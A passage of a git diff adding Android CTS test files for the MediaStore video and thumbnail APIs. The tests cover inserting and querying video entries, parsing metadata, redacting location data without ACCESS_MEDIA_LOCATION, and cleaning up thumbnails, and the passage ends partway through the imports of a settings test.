+        mResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
+    }
+
+    @Test
+    public void testQuery() throws Exception {
+        ContentValues values = new ContentValues();
+
+        final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
+                "testVideo" + System.nanoTime() + ".3gp");
+        final String valueOfData = file.getAbsolutePath();
+        ProviderTestUtils.stageFile(R.raw.testvideo, file);
+
+        values.put(VideoColumns.DATA, valueOfData);
+
+        Uri newUri = mResolver.insert(mExternalVideo, values);
+        assertNotNull(newUri);
+
+        Cursor c = Video.query(mResolver, newUri, new String[] { VideoColumns.DATA });
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        assertEquals(valueOfData, c.getString(c.getColumnIndex(VideoColumns.DATA)));
+        c.close();
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
new file mode 100644
index 0000000..68873b4
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -0,0 +1,427 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.ProviderTestUtils.assertExists;
+import static android.provider.cts.ProviderTestUtils.assertNotExists;
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.AppOpsManager;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.media.MediaMetadataRetriever;
+import android.net.Uri;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.storage.StorageManager;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Video.Media;
+import android.provider.MediaStore.Video.VideoColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Video_MediaTest {
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    private Uri mExternalVideo;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
+    }
+
+    @Test
+    public void testGetContentUri() {
+        Cursor c = null;
+        assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
+                null));
+        c.close();
+        assertNotNull(c = mContentResolver.query(Media.getContentUri(mVolumeName), null, null, null,
+                null));
+        c.close();
+
+        assertEquals(ContentUris.withAppendedId(Media.getContentUri(mVolumeName), 42),
+                Media.getContentUri(mVolumeName, 42));
+    }
+
+    private void cleanExternalMediaFile(String path) {
+        mContentResolver.delete(mExternalVideo, "_data=?", new String[] { path });
+        new File(path).delete();
+    }
+
+    @Test
+    public void testStoreVideoMediaExternal() throws Exception {
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final File videoFile = ProviderTestUtils.stageFile(R.raw.testvideo,
+                new File(dir, "cts" + System.nanoTime() + ".mp4"));
+
+        final String externalVideoPath = videoFile.getAbsolutePath();
+        final long numBytes = videoFile.length();
+
+        ProviderTestUtils.waitUntilExists(videoFile);
+
+        ContentValues values = new ContentValues();
+        values.put(Media.ALBUM, "cts");
+        values.put(Media.ARTIST, "cts team");
+        values.put(Media.CATEGORY, "test");
+        long dateTaken = System.currentTimeMillis();
+        values.put(Media.DATE_TAKEN, dateTaken);
+        values.put(Media.DESCRIPTION, "This is a video");
+        values.put(Media.DURATION, 8480);
+        values.put(Media.LANGUAGE, "en");
+        values.put(Media.IS_PRIVATE, 1);
+        values.put(Media.MINI_THUMB_MAGIC, 0);
+        values.put(Media.RESOLUTION, "176x144");
+        values.put(Media.TAGS, "cts, test");
+        values.put(Media.DATA, externalVideoPath);
+        values.put(Media.DISPLAY_NAME, "testvideo.3gp");
+        values.put(Media.MIME_TYPE, "video/3gpp");
+        values.put(Media.SIZE, numBytes);
+        values.put(Media.TITLE, "testvideo");
+        long dateAdded = System.currentTimeMillis() / 1000;
+        values.put(Media.DATE_ADDED, dateAdded);
+        long dateModified = videoFile.lastModified() / 1000;
+        values.put(Media.DATE_MODIFIED, dateModified);
+
+        // insert
+        Uri uri = mContentResolver.insert(mExternalVideo, values);
+        assertNotNull(uri);
+
+        try {
+            // query
+            Cursor c = mContentResolver.query(uri, null, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            long id = c.getLong(c.getColumnIndex(Media._ID));
+            assertTrue(id > 0);
+            assertEquals("cts", c.getString(c.getColumnIndex(Media.ALBUM)));
+            assertEquals("cts team", c.getString(c.getColumnIndex(Media.ARTIST)));
+            assertEquals("test", c.getString(c.getColumnIndex(Media.CATEGORY)));
+            assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
+            assertEquals(8480, c.getInt(c.getColumnIndex(Media.DURATION)));
+            assertEquals("This is a video",
+                    c.getString(c.getColumnIndex(Media.DESCRIPTION)));
+            assertEquals("en", c.getString(c.getColumnIndex(Media.LANGUAGE)));
+            assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
+            assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
+            assertEquals("176x144", c.getString(c.getColumnIndex(Media.RESOLUTION)));
+            assertEquals("cts, test", c.getString(c.getColumnIndex(Media.TAGS)));
+            assertEquals(externalVideoPath, c.getString(c.getColumnIndex(Media.DATA)));
+            assertEquals(videoFile.getName(), c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
+            assertEquals("video/3gpp", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+            assertEquals("testvideo", c.getString(c.getColumnIndex(Media.TITLE)));
+            assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
+            long realDateAdded = c.getLong(c.getColumnIndex(Media.DATE_ADDED));
+            assertTrue(realDateAdded >= dateAdded);
+            assertEquals(dateModified, c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)));
+            assertTrue(c.isNull(c.getColumnIndex(Media.COLOR_STANDARD)));
+            assertTrue(c.isNull(c.getColumnIndex(Media.COLOR_TRANSFER)));
+            assertTrue(c.isNull(c.getColumnIndex(Media.COLOR_RANGE)));
+            c.close();
+        } finally {
+            // delete
+            assertEquals(1, mContentResolver.delete(uri, null, null));
+            new File(externalVideoPath).delete();
+        }
+
+        // check that the video file is removed when deleting the database entry
+        Context context = mContext;
+        Uri videoUri = insertVideo(context);
+        File videofile = new File(ProviderTestUtils.stageDir(mVolumeName), "testVideo.3gp");
+        assertExists(videofile);
+        mContentResolver.delete(videoUri, null, null);
+        assertNotExists(videofile);
+    }
+
+    private Uri insertVideo(Context context) throws IOException {
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final File file = new File(dir, "testVideo.3gp");
+        // clean up any potential left over entries from a previous aborted run
+        cleanExternalMediaFile(file.getAbsolutePath());
+
+        ProviderTestUtils.stageFile(R.raw.testvideo, file);
+
+        ContentValues values = new ContentValues();
+        values.put(VideoColumns.DATA, file.getAbsolutePath());
+        return context.getContentResolver().insert(mExternalVideo, values);
+    }
+
+    /**
+     * This test doesn't hold
+     * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif and XMP
+     * location information should be redacted.
+     */
+    @Test
+    public void testLocationRedaction() throws Exception {
+        // STOPSHIP: remove this once isolated storage is always enabled
+        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                mExternalVideo, displayName, "video/mp4");
+
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        final Uri publishUri;
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo_meta);
+                 OutputStream out = session.openOutputStream()) {
+                FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        }
+
+        final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
+
+        // Since we own the video, we should be able to see the location
+        // we ourselves contributed
+        try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
+                MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+            mmr.setDataSource(pfd.getFileDescriptor());
+            assertEquals("+37.4217-122.0834/",
+                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+        }
+        try (InputStream in = mContentResolver.openInputStream(publishUri);
+                ByteArrayOutputStream out = new ByteArrayOutputStream()) {
+            FileUtils.copy(in, out);
+            byte[] bytes = out.toByteArray();
+            byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
+            String xmp = new String(xmpBytes);
+            assertTrue("Failed to read XMP longitude", xmp.contains("10,41.751000E"));
+            assertTrue("Failed to read XMP latitude", xmp.contains("53,50.070500N"));
+            assertTrue("Failed to read non-location XMP", xmp.contains("13166/7763"));
+        }
+        // As owner, we should be able to request the original bytes
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+        }
+
+        // Remove ACCESS_MEDIA_LOCATION permission
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
+                            "android.permission.REVOKE_RUNTIME_PERMISSIONS");
+
+            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+            // Deny access_media_permission App op to revoke this permission.
+            PackageManager packageManager = mContext.getPackageManager();
+            String packageName = mContext.getPackageName();
+            if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
+                    packageName) == PackageManager.PERMISSION_GRANTED) {
+                mContext.getPackageManager().updatePermissionFlags(
+                        android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
+                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
+                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, mContext.getUser());
+                mContext.getSystemService(AppOpsManager.class).setUidMode(
+                        "android:access_media_location", Process.myUid(),
+                        AppOpsManager.MODE_IGNORED);
+            }
+        } finally {
+                InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                        dropShellPermissionIdentity();
+        }
+
+        // Now remove ownership, which means that location should be redacted
+        ProviderTestUtils.executeShellCommand("content update"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + publishUri + " --bind owner_package_name:n:",
+                InstrumentationRegistry.getInstrumentation().getUiAutomation());
+        try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
+                MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+            mmr.setDataSource(pfd.getFileDescriptor());
+            assertEquals(null,
+                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+        }
+        try (InputStream in = mContentResolver.openInputStream(publishUri);
+                ByteArrayOutputStream out = new ByteArrayOutputStream()) {
+            FileUtils.copy(in, out);
+            byte[] bytes = out.toByteArray();
+            byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
+            String xmp = new String(xmpBytes);
+            assertFalse("Failed to redact XMP longitude", xmp.contains("10,41.751000E"));
+            assertFalse("Failed to redact XMP latitude", xmp.contains("53,50.070500N"));
+            assertTrue("Redacted non-location XMP", xmp.contains("13166/7763"));
+        }
+        // We can't request original bytes unless we have permission
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+            fail("Able to read original content without ACCESS_MEDIA_LOCATION");
+        } catch (UnsupportedOperationException expected) {
+        }
+    }
+
+    @Test
+    public void testLocationDeprecated() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                mExternalVideo, displayName, "video/mp4");
+
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        final Uri publishUri;
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo_meta);
+                    OutputStream out = session.openOutputStream()) {
+                FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        }
+
+        // Verify that location wasn't indexed
+        try (Cursor c = mContentResolver.query(publishUri,
+                new String[] { VideoColumns.LATITUDE, VideoColumns.LONGITUDE }, null, null)) {
+            assertTrue(c.moveToFirst());
+            assertTrue(c.isNull(0));
+            assertTrue(c.isNull(1));
+        }
+
+        // Verify that location values aren't recorded
+        final ContentValues values = new ContentValues();
+        values.put(VideoColumns.LATITUDE, 32f);
+        values.put(VideoColumns.LONGITUDE, 64f);
+        mContentResolver.update(publishUri, values, null, null);
+
+        try (Cursor c = mContentResolver.query(publishUri,
+                new String[] { VideoColumns.LATITUDE, VideoColumns.LONGITUDE }, null, null)) {
+            assertTrue(c.moveToFirst());
+            assertTrue(c.isNull(0));
+            assertTrue(c.isNull(1));
+        }
+    }
+
+    @Test
+    public void testCanonicalize() throws Exception {
+        // Remove all audio left over from other tests
+        ProviderTestUtils.executeShellCommand("content delete"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + mExternalVideo,
+                InstrumentationRegistry.getInstrumentation().getUiAutomation());
+
+        // Publish some content
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final Uri a = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.testvideo, new File(dir, "a.mp4")));
+        final Uri b = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.testvideo_meta, new File(dir, "b.mp4")));
+        final Uri c = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.testvideo, new File(dir, "c.mp4")));
+
+        // Confirm we can canonicalize and recover it
+        final Uri canonicalized = mContentResolver.canonicalize(b);
+        assertNotNull(canonicalized);
+        assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
+
+        // Delete all items above
+        mContentResolver.delete(a, null, null);
+        mContentResolver.delete(b, null, null);
+        mContentResolver.delete(c, null, null);
+
+        // Confirm canonical item isn't found
+        assertNull(mContentResolver.uncanonicalize(canonicalized));
+
+        // Publish data again and confirm we can recover it
+        final Uri d = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.testvideo_meta, new File(dir, "d.mp4")));
+        assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
+    }
+
+    @Test
+    public void testMetadata() throws Exception {
+        final Uri uri = ProviderTestUtils.stageMedia(R.raw.testvideo_meta, mExternalVideo,
+                "video/mp4");
+
+        try (Cursor c = mContentResolver.query(uri, null, null, null)) {
+            assertTrue(c.moveToFirst());
+
+            // Confirm that we parsed Exif metadata
+            assertEquals(9296, c.getLong(c.getColumnIndex(VideoColumns.DURATION)));
+            assertEquals(1920, c.getLong(c.getColumnIndex(VideoColumns.WIDTH)));
+            assertEquals(1080, c.getLong(c.getColumnIndex(VideoColumns.HEIGHT)));
+
+            // Confirm that we parsed XMP metadata
+            assertEquals("xmp.did:051dfd42-0b46-4302-918a-836fba5016ed",
+                    c.getString(c.getColumnIndex(VideoColumns.DOCUMENT_ID)));
+            assertEquals("xmp.iid:051dfd42-0b46-4302-918a-836fba5016ed",
+                    c.getString(c.getColumnIndex(VideoColumns.INSTANCE_ID)));
+            assertEquals("4F9DD7A46B26513A7C35272F0D623A06",
+                    c.getString(c.getColumnIndex(VideoColumns.ORIGINAL_DOCUMENT_ID)));
+
+            // Confirm that timestamp was parsed
+            assertEquals(1539711603000L, c.getLong(c.getColumnIndex(VideoColumns.DATE_TAKEN)));
+
+            // We just added and modified the file, so should be recent
+            final long added = c.getLong(c.getColumnIndex(VideoColumns.DATE_ADDED));
+            final long modified = c.getLong(c.getColumnIndex(VideoColumns.DATE_MODIFIED));
+            final long now = System.currentTimeMillis() / 1000;
+            assertTrue("Invalid added time " + added, Math.abs(added - now) < 5);
+            assertTrue("Invalid modified time " + modified, Math.abs(modified - now) < 5);
+
+            // Confirm that we trusted value from XMP metadata
+            assertEquals("video/dng", c.getString(c.getColumnIndex(VideoColumns.MIME_TYPE)));
+
+            assertEquals(20716, c.getLong(c.getColumnIndex(VideoColumns.SIZE)));
+
+            final String displayName = c.getString(c.getColumnIndex(VideoColumns.DISPLAY_NAME));
+            assertTrue("Invalid display name " + displayName, displayName.startsWith("cts"));
+            assertTrue("Invalid display name " + displayName, displayName.endsWith(".mp4"));
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java
new file mode 100644
index 0000000..379e55d
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java
@@ -0,0 +1,278 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.media.MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT;
+import static android.media.MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.media.MediaMetadataRetriever;
+import android.net.Uri;
+import android.os.FileUtils;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Files;
+import android.provider.MediaStore.Video.Media;
+import android.provider.MediaStore.Video.Thumbnails;
+import android.provider.MediaStore.Video.VideoColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Video_ThumbnailsTest {
+    private static final String TAG = "MediaStore_Video_ThumbnailsTest";
+
+    private Context mContext;
+    private ContentResolver mResolver;
+
+    private boolean hasCodec() {
+        return MediaUtils.hasCodecForResourceAndDomain(
+                mContext, R.raw.testthumbvideo, "video/");
+    }
+
+    private Uri mExternalVideo;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
+    }
+
+    @Test
+    public void testGetContentUri() {
+        Uri internalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.INTERNAL_VOLUME_NAME);
+        Uri externalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.EXTERNAL_VOLUME_NAME);
+        assertEquals(Thumbnails.INTERNAL_CONTENT_URI, internalUri);
+        assertEquals(Thumbnails.EXTERNAL_CONTENT_URI, externalUri);
+    }
+
+    @Test
+    public void testGetThumbnail() throws Exception {
+        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+
+        // Insert a video into the provider.
+        Uri videoUri = insertVideo();
+        long videoId = ContentUris.parseId(videoUri);
+        assertTrue(videoId != -1);
+        assertEquals(ContentUris.withAppendedId(Media.EXTERNAL_CONTENT_URI, videoId),
+                videoUri);
+
+        // Don't run the test if the codec isn't supported.
+        if (!hasCodec()) {
+            // Calling getThumbnail should not generate a new thumbnail.
+            MediaStore.waitForIdle(mContext);
+            assertNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MINI_KIND, null));
+            Log.i(TAG, "SKIPPING testGetThumbnail(): codec not supported");
+            return;
+        }
+
+        // Calling getThumbnail should generate a new thumbnail.
+        MediaStore.waitForIdle(mContext);
+        assertNotNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MINI_KIND, null));
+        assertNotNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MICRO_KIND, null));
+
+        assertEquals(1, mResolver.delete(videoUri, null, null));
+    }
+
+    @Test
+    public void testThumbnailGenerationAndCleanup() throws Exception {
+        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+
+        if (!hasCodec()) {
+            // we don't support video, so no need to run the test
+            Log.i(TAG, "SKIPPING testThumbnailGenerationAndCleanup(): codec not supported");
+            return;
+        }
+
+        // insert a video
+        Uri uri = insertVideo();
+
+        // request thumbnail creation
+        MediaStore.waitForIdle(mContext);
+        assertNotNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
+                Thumbnails.MINI_KIND, null /* options */));
+
+        // delete the source video and check that the thumbnail is gone too
+        mResolver.delete(uri, null /* where clause */, null /* where args */);
+        MediaStore.waitForIdle(mContext);
+        assertNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
+                Thumbnails.MINI_KIND, null /* options */));
+
+        // insert again
+        uri = insertVideo();
+
+        // request thumbnail creation
+        MediaStore.waitForIdle(mContext);
+        assertNotNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
+                Thumbnails.MINI_KIND, null));
+
+        // update the media type
+        ContentValues values = new ContentValues();
+        values.put("media_type", 0);
+        assertEquals("unexpected number of updated rows",
+                1, mResolver.update(uri, values, null /* where */, null /* where args */));
+
+        // video was marked as regular file in the database, which should have deleted its thumbnail
+        MediaStore.waitForIdle(mContext);
+        assertNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
+                Thumbnails.MINI_KIND, null /* options */));
+
+        // check source no longer exists as video
+        Cursor c = mResolver.query(uri,
+                null /* projection */, null /* where */, null /* where args */, null /* sort */);
+        assertFalse("source entry should be gone", c.moveToNext());
+        c.close();
+
+        // check source still exists as file
+        Uri fileUri = ContentUris.withAppendedId(
+                Files.getContentUri("external"),
+                Long.valueOf(uri.getLastPathSegment()));
+        c = mResolver.query(fileUri,
+                null /* projection */, null /* where */, null /* where args */, null /* sort */);
+        assertTrue("source entry should be gone", c.moveToNext());
+        String sourcePath = c.getString(c.getColumnIndex("_data"));
+        c.close();
+
+        // clean up
+        mResolver.delete(fileUri, null /* where */, null /* where args */);
+        new File(sourcePath).delete();
+    }
+
+    private Uri insertVideo() throws IOException {
+        File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
+                "testVideo" + System.nanoTime() + ".3gp");
+        // clean up any potential left over entries from a previous aborted run
+        mResolver.delete(Media.EXTERNAL_CONTENT_URI,
+                "_data=?", new String[] { file.getAbsolutePath() });
+        file.delete();
+
+        ProviderTestUtils.stageFile(R.raw.testthumbvideo, file);
+
+        ContentValues values = new ContentValues();
+        values.put(VideoColumns.DATA, file.getAbsolutePath());
+        return mResolver.insert(Media.EXTERNAL_CONTENT_URI, values);
+    }
+
+    @Test
+    public void testInsertUpdateDelete() throws Exception {
+        final Uri finalUri = ProviderTestUtils.stageMedia(R.raw.testvideo,
+                mExternalVideo, "video/mp4");
+
+        // Directly reading should be larger
+        final Size full;
+        try (MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+            mmr.setDataSource(mContext, finalUri);
+            full = new Size(
+                    Integer.parseInt(mmr.extractMetadata(METADATA_KEY_VIDEO_WIDTH)),
+                    Integer.parseInt(mmr.extractMetadata(METADATA_KEY_VIDEO_HEIGHT)));
+        }
+
+        // Thumbnail should be smaller
+        MediaStore.waitForIdle(mContext);
+        final Bitmap beforeThumb = mResolver.loadThumbnail(finalUri, new Size(64, 64), null);
+        assertTrue(beforeThumb.getWidth() < full.getWidth());
+        assertTrue(beforeThumb.getHeight() < full.getHeight());
+        final int beforeColor = beforeThumb.getPixel(32, 32);
+
+        // Verify legacy APIs still work
+        if (MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) {
+            for (int kind : new int[] {
+                    MediaStore.Video.Thumbnails.MINI_KIND,
+                    MediaStore.Video.Thumbnails.FULL_SCREEN_KIND,
+                    MediaStore.Video.Thumbnails.MICRO_KIND
+            }) {
+                MediaStore.waitForIdle(mContext);
+                assertNotNull(MediaStore.Video.Thumbnails.getThumbnail(mResolver,
+                        ContentUris.parseId(finalUri), kind, null));
+            }
+        }
+
+        // Edit video contents
+        try (InputStream from = mContext.getResources().openRawResource(R.raw.testthumbvideo);
+                OutputStream to = mResolver.openOutputStream(finalUri)) {
+            FileUtils.copy(from, to);
+        }
+
+        // Thumbnail should match updated contents
+        MediaStore.waitForIdle(mContext);
+        final Bitmap afterThumb = mResolver.loadThumbnail(finalUri, new Size(64, 64), null);
+        final int afterColor = afterThumb.getPixel(32, 32);
+        assertNotColorMostlyEquals(beforeColor, afterColor);
+
+        // Delete video contents
+        mResolver.delete(finalUri, null, null);
+
+        // Thumbnail should no longer exist
+        try {
+            MediaStore.waitForIdle(mContext);
+            mResolver.loadThumbnail(finalUri, new Size(64, 64), null);
+            fail("Funky; we somehow made a thumbnail out of nothing?");
+        } catch (FileNotFoundException expected) {
+        }
+    }
+
+    /**
+     * Since thumbnails might be bounced through a compression pass, we're okay
+     * if they're mostly equal.
+     */
+    private static void assertNotColorMostlyEquals(int expected, int actual) {
+        assertNotEquals(Integer.toHexString(expected & 0xF0F0F0F0),
+                Integer.toHexString(actual & 0xF0F0F0F0));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/settings/SettingsTest.java b/tests/tests/provider/src/android/provider/cts/settings/SettingsTest.java
new file mode 100644
index 0000000..41281b7
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/settings/SettingsTest.java
@@ -0,0 +1,354 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.settings;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.database.sqlite.SQLiteException;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.RemoteException;
+import android.os.SystemClock;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
